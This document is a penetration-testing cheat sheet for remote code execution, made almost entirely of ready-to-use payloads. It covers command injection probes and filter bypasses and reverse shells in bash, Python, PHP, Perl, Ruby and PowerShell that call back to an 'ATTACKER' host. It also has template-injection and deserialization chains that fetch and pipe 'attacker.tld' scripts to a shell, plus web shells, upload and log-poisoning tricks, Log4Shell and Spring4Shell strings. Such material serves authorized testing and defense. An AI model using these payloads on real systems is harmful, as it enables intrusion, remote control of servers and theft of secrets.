RCE — Command, Template, Deserialization

# Single-shot probes — if any of these produce a time delay or a collaborator hit, you have injection
curl "$TARGET/?x=127.0.0.1;id"
curl "$TARGET/?x=127.0.0.1|id"
curl "$TARGET/?x=127.0.0.1%0Aid"
curl "$TARGET/?x=127.0.0.1%0a%0did"
curl "$TARGET/?x=127.0.0.1%26id"
curl "$TARGET/?x=127.0.0.1\`id\`"
curl "$TARGET/?x=127.0.0.1\$(id)"
curl "$TARGET/?x=127.0.0.1;sleep%205"         ← timing
curl "$TARGET/?x=127.0.0.1||ping%20-c%204%20ID.oast.pro"   ← OOB

;   &   |   &&   ||   `cmd`   $(cmd)   %0a (LF)   %0d (CR)   %00

cmd1 ; cmd2              # run both, unconditional
cmd1 && cmd2             # run cmd2 if cmd1 succeeds
cmd1 || cmd2             # run cmd2 if cmd1 fails
cmd1 | cmd2              # pipe stdout to stdin
cmd1 & cmd2              # background cmd1, run cmd2
$(cmd)                   # command substitution
`cmd`                    # legacy command substitution

cmd1 & cmd2
cmd1 && cmd2
cmd1 | cmd2
cmd1 || cmd2

cmd1 ; cmd2
$(cmd)
&{cmd}

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat<<<$'\n/etc/passwd'
# Tab character
cat%09/etc/passwd

cd etc; cat passwd
cat /e??/p?ss??
cat /e*c/pass*d
cat $(echo L2V0Yy9wYXNzd2Q= | base64 -d)

c''at /etc/passwd
c\\at /etc/passwd
c"a"t /etc/passwd
${CAT:=cat} $CAT /etc/passwd

# Reverse the string
rev <<< dwssap/cte/ tac

# Use a different binary
tac /etc/passwd
less /etc/passwd
more /etc/passwd
head -n 1000 /etc/passwd
tail -n 1000 /etc/passwd
od -c /etc/passwd
xxd /etc/passwd
strings /etc/passwd
awk '1' /etc/passwd
sed '' /etc/passwd
grep '' /etc/passwd
perl -pe '' /etc/passwd
python3 -c 'print(open("/etc/passwd").read())'

# DNS tunnel data out via hostname
?x=1;curl%20$(whoami).attacker.tld
?x=1;ping%20$(hostname).oast.pro
?x=1;nslookup%20$(id|base64).oast.pro

?x=1;sleep%205
?x=1|sleep%205
?x=1&&sleep%205
?x=1;if%20[%20$(whoami)%20=%20root%20];then%20sleep%205;fi

# Bash
bash -i >& /dev/tcp/ATTACKER/4444 0>&1

# Bash (alt)
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196

# nc (with -e, traditional nc only)
nc -e /bin/bash ATTACKER 4444

# nc mkfifo (any nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

# PHP
php -r '$sock=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Go (compiled separately, drop binary)
GOOS=linux GOARCH=amd64 go build -o rev rev.go

# PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Stage from HTTP
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/s.ps1')"

# Nishang / PowerCat
powercat -c ATTACKER -p 4444 -e powershell

# Once inside a crappy /bin/sh reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 40 columns 120
# Or upgrade via script
script -q /dev/null

${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}
@(7*7)
%{7*7}
<th:block th:text="${7*7}"/>

{{7*'7'}}                   → Jinja2: '7777777'  (int * str = repeated string)
{{7*'7'}}                   → Twig:    49       (str coerced to int)
{{config}}                  → Jinja2:  <Config object>
{{_self}}                   → Twig:    <Twig_Template>

${7*7}                      → Freemarker: 49
${"z".getClass()}           → Freemarker: class java.lang.String
${7*7}                      → Thymeleaf (Spring): often 49 or parsed literal

# Detect
{{7*7}}

# Dump config (Flask SECRET_KEY, DB URLs, every env var)
{{config}}
{{config.items()}}

# Reach Python runtime
{{''.__class__.__mro__[1].__subclasses__()}}
# Pick an index that's <class 'subprocess.Popen'>
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}}

# Modern Jinja (built-in globals)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Shorter — lipsum trick
{{lipsum.__globals__.os.popen('id').read()}}

# Even shorter — via url_for / get_flashed_messages
{{url_for.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Bypass {{ }} filter with {% %}
{%print(''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate())%}

{{config['SECRET_KEY']}}

flask-unsign --sign --secret 'leaked_key' --cookie "{'user_id': 1, 'role': 'admin'}"

{{7*7}}                                  → 49
{{_self}}                                → Twig environment
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig 2.x
{{['id']|filter('system')}}

# Twig 3.x
{{['id']|map('system')|join(' ')}}

PATCH /node/1?_format=hal_json HTTP/1.1
{"link":[{"options":"O:24:\"Drupal\\\\Core\\\\Link\\\\Text\":..."}]}

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign val="freemarker.template.utility.ObjectConstructor"?new()>${val("java.lang.ProcessBuilder",["id"]).start()}

${"freemarker.template.utility.Execute"?new()("id")}

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$stringClass.forName("java.io.InputStreamReader").getConstructor($stringClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($bufferedReader=$stringClass.forName("java.io.BufferedReader").getConstructor($stringClass.forName("java.io.Reader")).newInstance($inputStreamReader))
#set($output="")
#foreach($i in [1..9999])
 #set($line=$bufferedReader.readLine())
 #if($line==$null)#break#end
 #set($output="$output$line")
#end
$output

${T(java.lang.Runtime).getRuntime().exec('id')}

# In expression preprocessors
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.open('/etc/passwd').read %>

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}{{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('id').toString();"}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

# SSTImap — fork of tplmap
git clone https://github.com/vladko312/SSTImap
python3 sstimap.py -u "https://$TARGET/?x=FUZZ" --os-shell

# Burp extension: Hackvertor (template detection + encoding)

git clone https://github.com/frohoff/ysoserial
mvn clean package -DskipTests

# Generate a payload for a classpath gadget
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'id' > payload.bin
java -jar ysoserial.jar Spring1 'id' > payload.bin
java -jar ysoserial.jar URLDNS 'http://ID.oast.pro/' > payload.bin   ← DNS ping only

# HTTP body
curl -X POST "$TARGET/api/admin" -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin

# Cookie
curl "$TARGET/" -H "Cookie: rememberMe=$(base64 -w0 payload.bin)"    ← Shiro CVE-2016-4437 shape

# Install the tool
dotnet tool install --global ysoserial.net --version 1.36.0

# Generate payload
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"

# ViewState (ASP.NET classic)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationkey="KEY" --validationalg="SHA1"

# To target a signed ViewState you need the machineKey. Leak it via LFI/SSRF/Config file disclosure.

git clone https://github.com/ambionics/phpggc
cd phpggc

# List gadget chains for installed libraries
./phpggc -l | head

# Generate
./phpggc Laravel/RCE9 system id -b    ← base64 encoded, safe for URL
./phpggc Guzzle/RCE1 system id
./phpggc Monolog/RCE5 system id
./phpggc Symfony/RCE4 system id
./phpggc Wordpress/RCE1 system id

# Deliver via unserialize() sink
curl "$TARGET/?data=$(./phpggc Monolog/RCE5 system id -u)"

import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ('curl attacker.tld|sh',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

yaml.load(x)                ← use yaml.safe_load
yaml.full_load(x)
shelve.open(...)            ← wraps pickle
dill.loads(x)
joblib.load('x.pkl')
torch.load('x.bin')         ← HUGE attack surface in ML deployments

require 'erb'
require 'yaml'

# YAML.load (not safe_load) on ≤Ruby 2.x
payload = "--- !ruby/object:Gem::Installer\n    i: x\n--- !ruby/object:Gem::SpecFetcher\n    i: y\n--- !ruby/object:Gem::Requirement\n  requirements:\n    !ruby/object:Gem::Package::TarReader\n      io: &1 !ruby/object:Net::BufferedIO\n        io: &1 !ruby/object:Gem::Package::TarReader::Entry\n          read: 'id'\n          header: \"abc\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n        socket: &1 !ruby/object:Gem::RequestSet\n          sets: !ruby/object:Net::WriteAdapter\n            socket: !ruby/module 'Kernel'\n            method_id: :system\n          git_set: id\n        method_id: :resolve\n"

const payload = {
    rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('id', function(err,out){ console.log(out); }); }()"
};
const serialized = require('node-serialize').serialize(payload);
// This string → send to target

Java:    bytes beginning with 0xACED0005
.NET:    XML with "System.Data.Services.Internal" references; or base64 starting with AAEA
PHP:     strings like O:8:"stdClass":1:{...}, a:1:{i:0;...}
Python:  bytes starting with 0x80 (pickle opcode)
Ruby:    04 08 (Marshal magic)

shell.php.jpg              ← double-extension, Apache <2.4 AddHandler
shell.php%00.jpg           ← null byte (old PHP <5.3)
shell.phtml
shell.php5
shell.phar
shell.pht
shell.phtm
shell.htaccess             ← upload .htaccess then upload shell.anything

shell.asp.jpg              ← IIS 6 double extension
shell.asp;.jpg             ← IIS <7
shell::$DATA               ← NTFS alt stream

Content-Type: image/jpeg

GIF89a
<?php system($_GET['c']); ?>

import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../../../../../etc/cron.d/attacker',
               '* * * * * root curl attacker.tld|sh\n')

# Upload in a loop
while :; do curl -F 'f=@shell.php' "$TARGET/upload"; done &

# Hit the shell in a loop in parallel
while :; do curl "$TARGET/uploads/tmp/shell.php?c=id"; done

.jsp, .war         → Tomcat
.aspx, .ashx       → IIS
.jsp               → Jetty
.js (with eval)   → rarely, unless the app uses it

<?php system($_GET['c']); ?>

<?php @eval($_POST['x']); ?>    ← China Chopper

<%@ Language=VBScript %>
<%eval request("x")%>

<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd());%>

<%@ page import="java.util.*,java.io.*"%>
<%Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);}%>

php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../config.php

# PHP expect:// (if ext loaded)
expect://id

# PHP zip:// / phar:// (chain with upload)
zip://./uploaded.zip%23file.php
phar://./uploaded.phar/any.txt

php://filter/zlib.deflate|convert.base64-encode/resource=...

python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'
# → php://filter/convert.iconv.UTF8.CSISO2022KR|...

curl "$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/log/apache2/access.log&c=id"

curl "$TARGET/?file=/proc/self/environ" -H "User-Agent: <?php system(\$_GET['c']); ?>"

curl "$TARGET/" -H "Cookie: PHPSESSID=abc" --data-urlencode "name=<?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/lib/php/sessions/sess_abc&c=id"

POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked
Content-Length: 6

0

XYZ

${jndi:ldap://attacker.tld:1389/a}
${jndi:rmi://attacker.tld:1099/a}
${jndi:dns://attacker.tld/a}
${${lower:j}ndi:ldap://attacker.tld/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.tld/a}
${${env:ENV_NAME:-j}ndi:ldap://attacker.tld/a}

nuclei -u "https://$TARGET/" -t cves/2021/CVE-2021-44228*.yaml

curl "https://$TARGET/path?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

# Detection probes — run them early, everywhere
;id      |id      &&id     ||id     `id`     $(id)     %0Aid

# SSTI probes
{{7*7}}    ${7*7}    <%= 7*7 %>    #{7*7}    @(7*7)

# Java deserialisation one-shot
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' | base64 -w0

# PHP deserialisation one-shot
./phpggc Laravel/RCE9 system id -b

# Log4Shell
${jndi:ldap://ID.oast.pro/a}

# Webshell upload quickness
curl -F 'file=@shell.php' -F 'submit=upload' "$TARGET/upload"
curl "$TARGET/uploads/shell.php?c=id"

# Upgrade reverse shell to TTY
python3 -c 'import pty;pty.spawn("/bin/bash")' ; stty raw -echo ; fg

# Every target: sign up for https://oast.pro, grab a subdomain, paste it everywhere